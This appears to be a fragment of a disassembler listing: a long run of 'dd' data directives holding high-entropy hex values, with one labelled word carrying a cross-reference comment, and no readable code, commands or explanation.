dd 4D8B0056h, 0F98A08D4h, 1B004113h, 0E864FE15h, 3B107761h
dd 57968FA0h, 0B080C35Dh, 0D1A2CA0h, 0D6331133h, 39780105h
dd 0FA5CA6BEh, 0A4093B5Fh, 5B3000C3h, 8E25CFh, 42A0232h
dd 0E9D76E92h, 0C9343109h, 40DC745Ah, 64F4EF96h, 7CA0474Eh
dd 0A7B90043h, 0C4851899h, 9DE22098h, 2E376139h, 0AF28A83Dh
dd 0DC91D0C3h, 578DC24Ch, 0A94D7000h, 63006F41h, 0A1B21FD3h
dd 0FCBA7469h, 487F7D89h, 2E3A18A6h, 940B19F8h, 206210A7h
dd 41985AA5h, 8E1C6101h, 0F8B5A5E6h, 1778002Ah, 0C3B34E25h
dd 1A0AB000h, 50A2C60Ch, 98F412FEh, 30A8F5h, 0F9D3102h
dd 25B45C4Fh, 44709FCBh, 16037148h, 20A0C1EAh, 0D0FF5BA9h
dd 0C7D62AB8h, 0C836CB2Dh, 0E8C3ECh, 4B3A9E6Eh, 7207E4Fh
dd 2012214Ah, 5D3F441h, 0B2E0DD47h, 0BE57008Bh, 8D78E24Bh
dd 0E0276F95h, 0B4700Ah, 76E44927h, 24F60FDDh, 0C106AFFAh
dd 0F38EA9ADh, 3EEE0E44h, 320A47Bh, 982C6930h, 5E02BC98h
dd 7425DCE0h, 8134D6A6h, 14395751h, 60DC311Dh, 4013197Ch
dd 4C001FCAh, 0B8FAB4F0h, 711213C6h, 86A8009Ch, 8083EDB1h
dd 484B3200h, 97038A3h, 0FD160B5Ah, 3AA4B9A5h, 60A0C15Fh
dd 0FCD91381h, 802B0D47h, 319FD215h, 1B553Fh, 27192A49h
dd 0CAA882F3h, 1A13468h, 0B5079203h, 0C2F0CC25h, 39E0D7F1h
dd 0E860ED38h, 0B76B0519h, 914002A4h, 7F63289Dh, 0AC4FE850h
dd 11838CBh, 139711DCh, 2E00E5F6h, 558AB24Ah, 0F080F151h
dd 0BCB4480Ah, 6CC15B00h, 0F986987Eh, 8063BC3Bh, 0D252FC87h
dd 7872C5BAh, 18851609h, 3410000Ch, 5C5B8391h, 155EDD00h
dd 0F13A2D57h, 3707001Dh, 260F4EFDh, 7C03F6EEh, 9314BFEh
dd 0EDF000DCh, 0F9650B78h, 3A133FD3h, 6CC0CC93h, 3099DED2h
dd 2E28E488h, 664AC3B9h
dd 278D088h, 79170AC7h, 0DC802A19h, 61122E2Bh, 18814E0Ch
dd 0A1EC8F9h, 5887F68Dh, 1D5500D4h, 0D4EA6D3Fh, 0BAAB543Dh
dd 5626008Ch, 3638173Bh, 0DEC707AEh, 0F9D9E6ADh, 101C5806h
dd 0FECDC0F3h, 260235E2h, 626E41D8h, 81AC5ED6h, 2E596A43h
dd 904C708Ch, 3764C4Ch, 0E7D7B2F3h, 96DDA071h, 3EFFCD6h
dd 7CA2CA4Dh, 9BB1B120h, 4047F1F0h, 19D0C785h, 300E8B1h
dd 206C5ED1h, 96260E8Eh, 5B00738Ah, 0C0A5E399h, 3DEB00Ch
dd 785A191Ch, 0D4220090h, 6106106Ah, 7F00FF4Fh, 0DF8B7C02h
dd 0E83FD6h, 1030C9DBh, 0FC24B595h, 54DDF926h, 62DE4D80h
dd 793A6B31h, 0FE90048Fh, 0AC14FD92h, 8021EF00h, 970700A6h
dd 0FC50C265h, 0E12D24Dh, 31B14F24h, 0C4FB49C1h, 0AB308F67h
dd 54CE4089h, 3D4570A7h, 6C964143h, 80301FB7h, 0D15538AEh
dd 8B004847h, 8E1E6764h, 3F2DE0CDh, 128AFB36h, 2D49DECh
dd 7C613F41h, 7E035CF4h, 9B0A9942h, 5C38F973h, 48E865F8h
dd 64094D32h, 0E680FB8Dh, 7D6087C3h, 0C6D74709h, 0FFB0A3EDh
dd 0B759B311h, 8F1BF180h, 0C3816E5h, 88E880A7h, 110E8032h
dd 20A05D9Fh, 0D1338390h, 7891005Ah, 49040B01h, 0CC25BBD5h
dd 74D221h, 24FB4697h, 513CABE4h, 0E908419Fh, 939C60h
dd 8819CE0h, 568B7F05h, 80E89A3Eh, 3B55C864h, 0B86A45h
dd 0AA6528E7h, 67177AEDh, 9F8D1D09h, 0F747AF7h, 684A951Bh
dd 38EA44C0h, 99F03771h, 3233721Eh, 78B81D13h, 39008470h
dd 0A6C98F2h, 73C09EC7h, 0BE5A00B7h, 1BCD04B5h, 0E05C959Ah
dd 0F2007FFCh, 9C910DF8h, 9F92E5h, 56626C5Ah, 0B69A952Bh
dd 0CA17EF00h, 6421ECC7h, 0D8BA0341h, 99509EB4h, 541DA119h
dd 21D09818h, 7B7C0DE0h, 81883CB2h, 415C95A8h, 0B5305F72h
dd 39B0E8ADh, 7B00779Eh, 0C775080Ch, 710698DAh, 23388A33h
dd 1D6B32D0h, 8498FA90h, 0B60049F2h, 53F954A8h, 0F822690Dh
dd 9D880717h, 4584CCCh, 0A41FEE12h, 212AF500h, 97A4D0h
dd 0D89AF326h, 0A785553Bh, 0B0F2BC1Ch, 0C101F4FEh, 0ABF8489Fh
dd 7BF08105h, 35761C30h, 8B02845Ah, 0E017C4CAh, 2200899Ch
dd 0A1EC4162h, 84096Eh, 9F45AB73h, 1E132AFCh, 0AEFD3D15h
dd 5FE301C4h, 81690384h, 6F3261h, 0C87F4CF0h, 0BC60FE24h
dd 61DD6229h, 7E101E5Fh, 531DC73Ch, 30EA533h, 490E3C8h
dd 26A4D9D8h, 9979BE0Ch, 749154h, 46D008CCh, 0D12B1C90h
dd 0EC009EECh, 0C31BD6F9h, 1210EA2Dh, 0B93526BCh, 0B2037E1Ch
dd 0B66B793Ah, 5145B89Eh, 4969006Fh, 9524C6B7h, 0EF03E6F2h
dd 549F1E6Bh, 0D0A4F0CCh, 214837A5h, 0AFEB079h, 8F0F5E31h
dd 0FB247ADh, 2963E080h, 5ACAB767h, 5308B0B1h, 0F6E0A954h
dd 16B56100h, 8407FD73h, 0FDF3B04h, 88E67600h, 0D4F98522h
dd 8BA43000h, 8EFC7FEFh, 7CF800DAh, 6F6EEC89h, 7E0798BFh
dd 316DE187h, 716D007Bh, 0FA6D48Fh, 0E76303DCh, 7853B540h
dd 600FFC80h, 1340D988h, 82818EEh, 0E5B8A17Fh, 1D4F03Bh
dd 0FE63FC54h, 96C47E38h, 0E2B01670h, 0FA500ADAh, 0A22F00BFh
dd 8CD074EEh, 28422C00h, 86708549h, 0CF3F1E65h, 0B20E00C9h
dd 0AEC2B4FDh, 0D589EA00h, 3975296Bh, 0B034EEE2h, 3DBDEC6Ah
dd 9C0044A2h, 75D741A9h, 7274F482h, 0F0F15B30h, 30633E53h
dd 4BA854BBh, 0B677FF26h, 0AFAA4806h, 7084CDBh, 92F7186h
dd 0C727E57Dh, 35244348h, 4E2B8D88h, 38F8BCFEh, 0E374CC7Ch
dd 28A7780Fh, 7A88F3Fh, 174694F7h, 2EB70010h, 297C3BE7h
dd 7900D3F4h, 0B06C1AFBh, 0C75018h, 770FEF8Dh, 753D31BBh
dd 927A71Fh, 39335D01h, 0E9E062CCh, 30BAE9CAh, 4DF1B703h
dd 8A0B5CBh, 24009468h, 2A6C803Bh, 2851C23Ah, 8F64B001h
dd 0FCF05D04h, 0A0125878h, 5E03BA02h, 6C204804h, 3706E4Bh
dd 580D46D9h, 82C37B1h, 7281B85Fh, 7B86E53h, 4322CF8h
dd 0FD184E4Fh, 0CDF44034h, 0EA7CA2Eh, 0AD608BA6h, 34C41343h
dd 567292F0h, 8D1F5978h, 2B02E588h, 0A981ADh, 2E601A4Ah
dd 77CF88h, 0F8D48B1Ch, 0E59208F4h, 9106E3F2h, 50AF6C7Eh
dd 5BDC0E48h, 0D8984C85h, 0BE185535h, 0FE9AC9Bh, 2107007Ah
dd 568C198h, 8CC912Fh, 3513102h, 8F690772h, 0F09931DFh
dd 96708284h, 7D8CD5Ah, 906E33D5h, 5F181814h, 0BF210E50h
dd 0A81E3040h, 0EB039FF4h, 6E4A01A4h, 184ED96Fh, 52718883h
dd 72876E00h, 0AD5F6451h, 941A50F0h, 2AA9791Ch, 0D8FE14h
dd 0AA17470Ah, 4838557Ch, 37ED831Dh, 4C00E02Ah, 0C7176043h
dd 0A75F8CBh, 2B93FA0Fh, 0D97B81F4h, 80369887h, 6C172EA8h
dd 388015BFh, 48E1EC91h, 9D719311h, 3A067D31h, 51157B1h
dd 41BEC43Bh, 0D5D84C5Dh, 21C02809h, 5ABE9C1Bh, 0FAD6312Bh
dd 409211B1h, 0C2917B20h, 0B98E9402h, 0A4551356h, 0A9605334h
dd 5D1048BEh, 94B0D790h, 0C007BEC1h, 20BFD974h, 0D2ECD0CDh
dd 0CE14925h, 0EE930404h, 637C0E83h, 1832905Eh, 49DEB628h
dd 7879AD5Ch, 9F58C348h, 24907212h, 10BD290h, 4FE3761Dh
dd 0F05324C1h, 3160C468h, 21D29848h, 0BA20CE1Bh, 24073549h
dd 202CC688h, 7A370AE6h, 2EC190F7h, 1D07E11h, 5F863083h
dd 9805D798h, 3F40850h, 94DAA41Fh, 1C1DA9D0h, 7BFE09AAh
dd 82AB0424h, 6E30C268h, 77D0B707h, 14468ACh, 76500EDh
dd 0F65AA55Eh, 19C01C9Bh, 0D43B74F7h, 81AC0061h, 6A2E473Eh
dd 0C50FC04Bh, 0E35F1130h, 0A86FD6A1h, 0A0A8F3D5h, 4F5D7D90h
dd 65A7E038h, 46014893h, 5D7C9F17h, 44880718h, 0A117145Fh
dd 0C508981Eh, 3097811h, 20903041h, 0D975116Eh, 8084887Eh
dd 2F6E4873h, 6F0C453Fh, 81F93AE7h, 8643003Dh, 7C02CA1Dh
dd 13677A5Bh, 5E00AEE9h, 0AE370EEh, 86A067D9h, 9A4E0ECCh
dd 882359BBh, 6E1E0943h, 222E9405h, 6D207D44h, 9776E46h
dd 0E399FA5Eh, 0FD542420h, 0D4A00EA3h, 3128A405h, 60469468h
dd 0A6174B01h, 0B31357Ch, 17440976h, 2182C48Ah, 1C40DCF7h
dd 980C708Eh, 0C8F45E0Ah, 0D3E1447h, 5FE8A038h, 7956008Ch
dd 0D93C0EABh, 0DD39CC21h, 0F0FAA8ADh, 66593A02h, 0A01A9BACh
dd 843CA8A0h, 30B00016h, 3AF340B3h, 6DE60180h, 504DC201h
dd 39B212Bh, 0B1183180h, 0F349969Dh, 0BDDE5C01h, 3D9A3094h
dd 1088D940h, 4863E4B8h, 0F612DC47h, 48FC08F3h, 4BBEA6C0h
dd 8FB8435Dh, 9E4FFC21h, 11B3A55Eh, 0E97DB802h, 4E5CC7D3h
dd 3A0A82B1h, 0B1C0A011h, 0E93466h, 0A1AE3B35h, 0E5F81749h
dd 2AB0740Eh, 4E4D5D5h, 6AC2947Bh, 9B20E089h, 82098C0h
dd 34AD118h, 597B5B0Dh, 193DABF0h, 0B01B50ADh, 30B4557Ah
dd 0FC1024C8h, 0AD5B400h, 461F4272h, 0FE0F005Ch, 0E16AE328h
dd 4A63AD27h, 0F8F25B38h, 98FA9174h, 200A000Eh, 19920E4Ch
dd 4DE8E696h, 5B6C410Fh, 0B6613883h, 61A0A8DFh, 89370708h
dd 0F7F30C71h, 9FB58070h, 47564C7Fh, 0BEA51EC4h, 0C4B05D88h
dd 0BD904132h, 0E6F8E8BEh, 0A29609A7h, 0EC0004C3h, 400D36CFh
dd 1842C8A1h, 7C6E081Fh, 0F37326D9h, 0D9D29047h, 8754245Fh
dd 2C9F02D4h, 8F0914DAh, 0C26CA644h, 0C46D32F8h, 8AC6B08h
dd 4E74ACF9h, 23F25E00h, 0A8AD3E99h, 8FBCA006h, 5C80E294h
dd 0D029345Ch, 8B030BE8h, 3CE84388h, 0A91D4104h, 40DC9972h
dd 257CAC05h, 39C0DC91h, 2BA1742h, 6897AD12h, 0BCA1B6D9h
dd 0C4F118AFh, 0A800FA82h
dd 8C5EEC56h, 4D553609h, 6980E4BDh, 79982007h, 5211F58Ch
dd 0F5E1D861h, 2B243B05h, 0B0081BB0h, 6E4CC05Dh, 1E4CD969h
dd 5487E000h, 0EC2D006Eh, 0C8DF2373h, 7C020FF4h, 0B29AF6ACh
dd 37808077h, 0A00A589Dh, 5E42398h, 947C92E0h, 5DD89082h
dd 0E0BA749Dh, 0B037522Eh, 504465Eh, 64C594FDh, 923B43Ah
dd 3E02A707h, 0D37E49C0h, 0D1E09928h, 287187Eh, 0A0F6A7EDh
dd 0B462FA63h, 0A684A681h, 0D584406Bh, 0F360D7C0h, 0B32B1FD9h
dd 0B1CCB2BCh, 1807D1C8h, 988F0495h, 0C1DA0D5Ah, 0D17659E4h
dd 5F742025h, 3A8E7C3Ch, 243C80A8h, 0A6685198h, 0D9A0A094h
dd 315D3018h, 1A92DDE1h, 8758D15Ch, 80C8825Bh, 539C754Fh
dd 5560FD5Fh, 6E13D2F1h, 7A3E01Ch, 514C7703h, 0F25CF06Dh
dd 5492E2B7h, 828C8800h, 4B85C7ADh, 46AC1241h, 50983090h
dd 0F8A1D34Ch, 97B18C3h, 0C9984A07h, 503B5C1Ch, 9B6C0073h
dd 9FA6437Fh, 0FD393075h, 0A41544B1h, 0F2366700h, 7D422E7Bh
dd 621B084h, 9C93B88Ah, 430B491Fh, 803208E3h, 82CA88EAh
dd 126A0090h, 0B077F536h, 20947F81h, 2B140AD6h, 86D404CCh
dd 2126B6A7h, 1FA1453Fh, 294085E9h, 9356C011h, 2EA7FCBh
dd 6325BEADh, 0F4C4A3FEh, 4A017146h, 3D7CAB17h, 8B060C38h
dd 641743D0h, 0FBB2B71Eh, 6FDEC3C0h, 12962392h, 83EFCE02h
dd 0A4D4FA60h, 5A54FCDCh, 0B80031E8h, 0B4F91D44h, 4CF128A3h
dd 2101F78Fh, 4C7E1362h, 0AB845849h, 5D4ABE08h, 402FC4C0h
dd 5CBEC322h, 0EE16EA93h, 0A1250A26h, 38621Ah, 0A4C36DACh
dd 300211A5h, 49243DE2h, 788E404h, 0B32DA909h, 0BA80E948h
dd 8B3697B5h, 918DE300h, 33180408h, 0C05504BBh, 0C8396CA8h
dd 0EF0057BCh, 50432D0Fh, 12FE92B9h, 14DFA9Ah, 0DBE55FC0h
dd 0B8443404h, 5B12760h, 0EA72150h, 954D0336h, 586BACA0h
dd 940210D2h, 0C5F43F23h, 0E5484130h, 18FA6981h, 72026763h
dd 0E6023F8h, 0D9246E49h, 0C73CA236h, 86F0518Ch, 2CD20F0Ch
dd 1B4AC5Eh, 9467D047h, 7B2828E3h, 48403B4Ah, 2EFB9683h
dd 6C1A0314h, 24B8559Ch, 0CE5BC100h, 6A57EA1Ch, 0EF450FE5h
dd 61001F09h, 256BEDA7h, 2D112112h, 6C3098CDh, 2EB04EACh
dd 1842328h, 54724CEBh, 7448711Dh, 110168Ch, 0D84DF34Eh
dd 28174425h, 2F808391h, 2C727104h, 709208F2h, 691E9B34h
dd 46A3D600h, 6B81E3h, 61622B16h, 8B45607Bh, 6088D230h
dd 0A143A0BFh, 6031ABA4h, 2852C6h, 50F1C490h, 814E2864h
dd 0C7222600h, 8C2A7D0Ah, 0D6543C27h, 696E513h, 39129A98h
dd 0ACBF3000h, 0AD5A37C3h, 0BEE40FF2h, 9F804A34h, 0CF6B78E8h
dd 5887D90Ah, 0FCA6E085h, 5C9C14h, 3E2A6C21h, 9FA28Fh
dd 978EE9A6h, 2F180552h, 5745A712h, 2AF3A402h, 2024ECD6h
dd 0BF3A8362h, 54A798DFh, 2A2AB018h, 4BC08AB2h, 23A02E1Ch
dd 891120Eh, 67802984h, 0AEE4042h, 7E4800EFh, 0F2D5D143h
dd 900C93BCh, 8858236Ch, 0BF210C7Ch, 2EE83F4Ch, 934F4503h
dd 94917014h, 0F1AC8Ch, 90CD359Bh, 0E84B0F8Ch, 0F400BDFCh
dd 0D4C5B625h, 871F376Ch, 0A835CA24h, 70D4489Bh, 1E6D7D01h
dd 6689B482h, 72AC0010h, 0C92A2D81h, 1A2600FCh, 0E7098255h
dd 790C7553h, 0D8E42886h, 0C265249Fh, 9E23611Ch, 46C1FC09h
dd 80E61600h, 0C4F06085h, 3B12F492h, 0D31FDFFEh, 0FAAC021Ah
dd 0AF005596h, 0F286A19Ah, 44914A2Bh, 410B78A4h, 1039665Fh
dd 681CC50h, 0A67902A5h, 2EF5FD86h, 0F4FF440h, 0FC851924h
dd 4BAA6030h, 0DC740C47h, 48491D9Bh, 0AE95100h, 4FC139ACh
dd 0F1FA58F1h, 13CF7501h, 267E3098h, 6C2B4ACCh, 61037D23h
dd 22599325h, 0C20011B0h, 2B0FBB79h, 7D5AD24Ah, 1B080905h
dd 3CA28052h, 942BE39Bh, 0FC392AACh, 3F122CCCh, 0A4E7009Fh
dd 9926032Dh, 8038FE5Ch, 17F362DEh, 24673C8Dh, 32C66F81h
dd 0F477D56Eh, 0F81FEF90h, 0F01A8AEh, 815BE378h, 180D583Dh
dd 0C4982D8h, 0A20F1AB4h, 0C01F70F1h, 30AE483h, 0C4771DD6h
dd 0B417EDAAh, 28807E91h, 5DA83A67h, 0FC840507h, 545234C3h
dd 64E8C738h, 0D7E16012h, 8C4417AFh, 64C010A6h, 0EE6B4F00h
dd 81B78A95h, 5B45E200h, 51EA6590h, 5F77054Ch, 8E37AD7Ah
dd 3639D4Ch, 1077D9D0h, 0F684829Ch, 41120441h, 801539ACh
dd 7EC308A1h, 0B63150h, 0F1B4B925h, 98A526AEh, 0F5730C02h
dd 7BB0C034h, 0DC3D5828h, 0C590BA00h, 0AA23E2FEh, 1CAC2C07h
dd 847B02DCh, 44605B7Ah, 261B32Bh, 562F1191h, 4C403424h
dd 6B2388F6h, 4A17480Fh, 0A82EB47Ch, 2658EA50h, 2468FD17h
dd 84D91148h, 490B039Dh, 5760A658h, 6416B2B1h, 71951E0Bh
dd 0B80E007Eh, 912838D0h, 0D2C7A02h, 795198CAh, 190CD1DCh
dd 4A3E60h, 0C8CF0671h, 0F10AD5Dh, 3033509Eh, 0D992C170h
dd 6C2AF99Dh, 8AFB411Ch, 0B41215D6h, 8F41FC23h, 2A8BCCA1h
dd 9AEDE4h, 68D3E7E5h, 0E862ECA7h, 8294BB27h, 46D64FA4h
dd 5E7CB6B0h, 1F1F0146h, 0F9E1C4B7h, 7B18F49Bh, 96A6FC05h
dd 0DCA09E0Ah, 85FCF991h, 0E1CB6AFDh, 0C1D2D9Ch, 1D800B91h
dd 0E63BA7B5h, 40B8CC26h, 41D98542h, 87C9A1ABh, 98BFA9C0h
dd 0EFE30902h, 201093F9h, 9AE8AB4Fh, 0D784509Ch, 0C8F4E805h
dd 77DF00A2h, 53029CC1h, 0E3017629h, 0B941994Bh, 0B0317FB3h
dd 632B4981h, 605F6011h, 6B4DFBECh, 0E4A88158h, 30803E48h
dd 5ECA7603h, 69C0F4ADh, 48C2697Eh, 0C11100ECh, 9BFF5290h
dd 0AC1C27FCh, 5DC26F7Ah, 40BA7850h, 1FEE419Fh, 411F8168h
dd 0CFD014FFh, 1B40D697h, 8E00DCE3h, 4182B6D4h, 0F0DD3ECBh
dd 6BEF3EE8h, 1DBE8400h, 0D1DA0198h, 0D0EE2F00h, 0A43A1787h
dd 3D85B0E2h, 0C407E622h, 0D7821670h, 0A0A04796h, 1F5BC0D8h
dd 0BA32E39h, 0E0CA9301h, 13A6FDBCh, 3DBA8AAh, 6F5F6C70h
dd 177E182Dh, 802111CCh, 77D002A2h, 482B4C2Ch, 435F4F00h
dd 0AFF4E024h, 465C08B4h, 18CF007Dh, 21412923h, 0F0B9A2h
dd 667B0D6Dh, 0D54C2BD3h, 504D812Ch, 4031AD57h, 0BEC9C78h
dd 24D778Ch, 0BA7677C5h, 5C23566Bh, 48B0FC05h, 16A1E088h
dd 0C2780223h, 0CCF137D0h, 0BD180271h, 0F2E29900h, 0DE4FADA2h
dd 0CA9225FDh, 477CE480h, 3B4A5077h, 72D4091h, 9E89C024h
dd 3465EBCh, 759C9A07h, 2BE0D05Bh, 1189F8D9h, 0C80E4F2h
dd 189BF574h, 60FB8339h, 0A60182EFh, 0E27297E7h, 67C48574h
dd 25840A93h, 87D86831h, 5491105Ch, 535CB432h, 13974B6h
dd 0FDED3962h, 5C6C7A41h, 3AA8305Ah, 25902B5Fh, 0C46E410Bh
dd 0CD880B7Ch, 0AD60C010h, 3F5CCE32h, 767981A0h, 0B43CE2B4h
dd 11D02B17h, 0D92C3C2Ch, 0B4FF644Ch, 481D5DB8h, 0FD05A7DEh
dd 20B7103Bh, 68053D06h, 1131816h, 40CB7EE0h, 0DBC32188h
dd 9B77CBC0h, 0ACA00255h, 35E56897h, 0ED58B47Bh, 552502D1h
dd 0DA49A38Fh, 0AC308080h, 6090F374h, 4147C20h, 3D61D323h
dd 0B94C0008h, 4EB09C94h, 0AF104756h, 6CC42BA2h, 6A90D48Bh
dd 1C9A54CFh, 80BC5B54h, 0A1022B0Eh, 84AC009Ah, 1CC3AE9Ch
dd 0BF1A508Dh, 0D103D613h, 0D0DE6DB0h, 0E167B84Ah, 0C702F569h
dd 80C4F1F0h, 2C80446Dh, 0A200F7D7h, 27266235h, 2659C658h
dd 1030CF75h, 0A4B67E86h, 0B465Ch, 0ACC48BE2h, 383DFDE6h
dd 1D8AAF27h, 4080825Bh, 541C5E4Fh, 0AC75470Fh, 6407D269h
dd 0AF804624h, 0BC7DADD5h
dd 34465C98h, 3C626924h, 0CF766F02h, 2456AC5Fh, 420A9405h
dd 0F9144B0h, 5876DFEh, 38A517A9h, 13D4A4B8h, 112758h
dd 497092EBh, 58FA2907h, 5E829C96h, 685627E5h, 0D8CB2312h
dd 0ACC8A87Ch, 80F4BE9Ch, 74BB47CDh, 0B13C13DDh, 0DE2C7065h
dd 9C1C992Eh, 0F24A06Fh, 0EA50E5h, 1A3012D7h, 0B5711F57h
dd 448F542Eh, 2BD04C89h, 916897BCh, 94888065h, 1E78AEFh
dd 0E2087015h, 69B82313h, 923600CCh, 6B2E4F10h, 0A8270081h
dd 166329E7h, 680BF806h, 0E89959DDh, 321FACh, 5EF6DEA2h
dd 4941B9EEh, 98879500h, 43E586B8h, 7C780B8Ah, 0C0A3C69Ch
dd 14BB916Dh, 25664100h, 4476209Bh, 6EC721Eh, 0B8933AA9h
dd 73EA91DDh, 4684B701h, 34B3C3FFh, 2B13C06Ch, 9AB032DBh
dd 98212A10h, 917C2F3Ch, 80906096h, 6C379324h, 7E02465Eh
dd 5C23D12Eh, 7BA0FEC1h, 7C608271h, 4C4952D3h, 0AA92DD05h
dd 7538802Fh, 71CBC039h, 0E4B71Dh, 0E5F79BDDh, 0B72207FAh
dd 8DA500D8h, 3729E3DFh, 0B000909Eh, 59515C95h, 982AF1ADh
dd 409B5B30h, 0B80F08F4h, 0BAF6BBFEh, 1A8C5C1Fh, 8EC0F89Ch
dd 2B597BB3h, 8E154ACCh, 0E4529208h, 53E004F6h, 0DB089C20h
dd 43A285Fh, 0C81EDC33h, 8C107B88h, 5F3560DEh, 81049B69h
dd 39DDF07Ch, 4A744E2Ah, 0F84378A0h, 1100156Eh, 9D7A762Eh
dd 0F9B5DBEh, 0D51AC9E6h, 87318978h, 1420D82Eh, 0E0F5D285h
dd 0C5BAF809h, 6065C48Ch, 4A3D6Bh, 0CCA22DCh, 0F3E7CBA3h
dd 2E69E312h, 0D9781402h, 8D38FAD7h, 59F46178h, 58B836CBh
dd 5611070h, 7CBFD909h, 9A040058h, 762629D2h, 7DE818BCh
dd 0C0F6018Ch, 5B55497Ch, 6938488Eh, 3931B89Ah, 2F11D15Fh
dd 3C04A432h, 2FA0FFDh, 0FAFCC67Dh, 84A505C0h, 80C0E6BCh
dd 49C91098h, 0C725FD1Eh, 0D84EB457h, 7C84E0AFh, 90552E94h
dd 8CA25C10h, 0D1D22578h, 70EEE4C1h, 0FE18DA3Ch, 4A68A983h
dd 86111AAAh, 0E482F016h, 5F0470F0h, 31EC9881h, 0B1AA3A00h
dd 0C0E41F30h, 5A15B7C7h, 23142F75h, 807D1C6Ah, 338AA7EDh
dd 22A9710h, 8B68C2Ah, 1F1501DCh, 9D85073Dh, 1C982810h
dd 9393648Fh, 4730F8A1h, 4F0DFADh, 0F567FB6Ch, 0BA06D10h
dd 0E0DA8303h, 0B865C04h, 0F5D81901h, 0D64CD4A8h, 0F4FFB705h
dd 6CF4FD3Eh, 0EFFC63h, 43505255h, 0B822E26Ah, 409E7C9Ch
dd 599E2680h, 2D9FE5Dh, 0F86A5630h, 447017A0h, 17579125h
dd 960891C4h, 0B3307500h, 6B5D1A7Dh, 9E009159h, 0FBE3CDC7h
dd 924D0506h, 39169Ch, 0D4B35E2Fh, 0B4A6F8A9h, 0BCFDBD12h
dd 97AFDCC2h, 807E91FCh, 1A9F6507h, 66C915Ch, 0C9A96B40h
dd 0FD609095h, 0D669003Ah, 18933B46h, 6870AD55h, 425CECA1h
dd 74309C80h, 984B1107h, 3629D91h, 0CC076BEFh, 0DFE8D34Eh
dd 49095879h, 0F1DD67A8h, 80551104h, 5D46BE9Fh, 2E448CA0h
dd 0BE970396h, 40F03D8h, 9A5572D0h, 1C83B4B6h, 90F0DF24h
dd 1DA0A17Dh, 0D630EBh, 0A6928D1Fh, 0F317402Ah, 0C44CFC77h
dd 2A18C9AEh, 2F985062h, 9C907C5Bh, 0E24FEA09h, 7A8F04C0h
dd 8441826Ch, 96F1897h, 69984607h, 0EC00041Ch, 2B630766h
dd 0B0C8137Fh, 41B34ACCh, 0F5AA2394h, 0E0E826AFh, 0FAE34ACCh
dd 0AFC6021Fh, 0F7CE08FEh, 0D1ECF00h, 0FB2CB8E0h, 35D54A10h
dd 4C4EB59h, 310D2E7Dh, 403D8CF9h, 948F1860h, 8497C9A0h
dd 1488C700h, 9BFE0E1Fh, 0F264F3F1h, 0B1CF178h, 0C032C8E0h
dd 0DCA4760Dh, 22AE9A13h, 0F398081h, 42868851h, 839B90D3h
dd 0A22300F2h, 900CAF6Ch, 0B1648B94h, 0C8A27E98h, 623133E2h
dd 3A9D3BECh, 404EA4A7h, 0ED9B6904h, 652E1CCEh, 7C87E87Ah
dd 0BD203409h
db 6Eh, 74h
word_505446 dw 22Ah ; DATA XREF: ___:off_4374B8o
dd 19F25B76h, 0D0A2325Eh, 0F4F024ACh, 0A96220Fh, 4BC547Ah
dd 33C88667h, 3D0934A8h, 0A02B049Dh, 91912506h, 114C1D95h
dd 68CC8060h, 1A6666Fh, 0DCC73506h, 6AF47CA8h, 0B22AEC43h
dd 11D91313h, 0FC702299h, 510120E4h, 42D3822Fh, 5024109Ch
dd 0EC2500F8h, 6B0FC524h, 9B28948Eh, 0FD48B4B3h, 0F349808Ch
dd 0FBD8E1h, 7C54B3Fh, 0AC5CEE73h, 4B19043Ah, 12722088h
dd 32B42B11h, 84824970h, 0F20F1474h, 4D460C8h, 43A1A544h
dd 554E647h, 0AA82DC9Bh, 418F4A8h, 357AC12Dh, 91DAD100h
dd 0EE603323h, 754B3C4Dh, 2F1A531Eh, 559CC422h, 0E068A076h
dd 0B94C6488h, 4C964B92h, 8F2860D4h, 0B608A395h, 0A629002Ah
dd 0ADF5BA20h, 880B4579h, 79BD90Eh, 0FF22739Eh, 94F97Bh
dd 11232FB8h, 2A0C5E9Ah, 98496E60h, 5F41254Dh, 3C536011h
dd 73089A80h, 0FEFA8988h, 0D3010079h, 0C9A13FA8h, 2D9D33D8h
dd 0C8444B6Fh, 0F6147C18h, 7F0581h, 766A8A6Dh, 32CBBC38h
dd 855CF713h, 0E49F420h, 9C33058Bh, 8E4B91CEh, 639D68h
dd 858ECE2Bh, 0B93E486Ch, 0B1E20BAEh, 64246755h, 8E01602Dh
dd 3D8F1E28h, 788744D1h, 6108A440h, 0CA4B1C42h, 0C36AC8FCh
dd 0A79067E2h, 0F62752A9h, 0D9F862A6h, 180D71F8h, 66BB1DDDh
dd 0DAB581D3h, 87825B8Fh, 2C22AA21h, 11E4C8ABh, 23E35B94h
dd 5846824h, 30B06D9Bh, 79A4B135h, 0FC9B1808h, 7D20EC16h
dd 0FD5625F8h, 79026806h, 290543E4h, 7414BFC9h, 2F22009Eh
dd 0C04E9426h, 88AD5D81h, 1984C41Ah, 4459553Ah, 0AA231C68h
dd 0C1805A5h, 0B8ECC3AEh, 27EE2E1h, 6AB0C0DCh, 0F8EF2880h
dd 6E4803Ch, 7DD98084h, 9154E131h, 0A07A0C87h, 0DCA85C12h
dd 0D000884h, 0FDF70410h, 3ABAA15Eh, 0C993588Ch, 0F278A253h
dd 66B13029h, 0EC16FF1Ch, 5938D803h, 432B80DDh, 1B822F88h
dd 0DF081C17h, 8BC360AFh, 0A9026A94h, 9515C95Ah, 8ED4596Bh
dd 300877D9h, 2FAC3306h, 1C4C2519h, 0BC43865h, 0F5093060h
dd 5C84EB02h, 58195918h, 84404CA0h, 0BD031000h, 0B7C77621h
dd 541158B4h, 47BEC29Ch, 0CCC7985Dh, 0BEC29501h, 0F9C936E2h
dd 8474206Bh, 44F3A8ADh, 8268ACF4h, 40DA6DA1h, 8E2A9Ah
dd 47579DF4h, 0FE8DB9AFh, 0E79A1900h, 1D639692h, 5C54006Eh
dd 0FE3C223h, 37068F72h, 0E16C3C09h, 50952310h, 5B81C31Fh
dd 100A2287h, 5330C4E1h, 0DC41CB98h, 19E468D1h, 0C06A28B1h
dd 108294B4h, 93A06916h, 0F45F4001h, 3C6392F9h, 0F3134101h
dd 3024ABCBh, 5092E933h, 1CA621D3h, 0E61096F0h, 0D0F7A70Bh
dd 0E414E5B8h, 1ABF6104h, 911D6120h, 0B009784Ch, 0DEBB0086h
dd 9AF17952h, 9303541Fh, 5BDCD1C4h, 0AA29128Eh, 60E009A7h
dd 0A61C04A5h, 8875B300h, 98FF8Ch, 0B1824987h, 55BCDAD3h
dd 8EAC28EDh, 3324409Bh, 0F0FB1916h, 43F3EDD6h, 0D7014868h
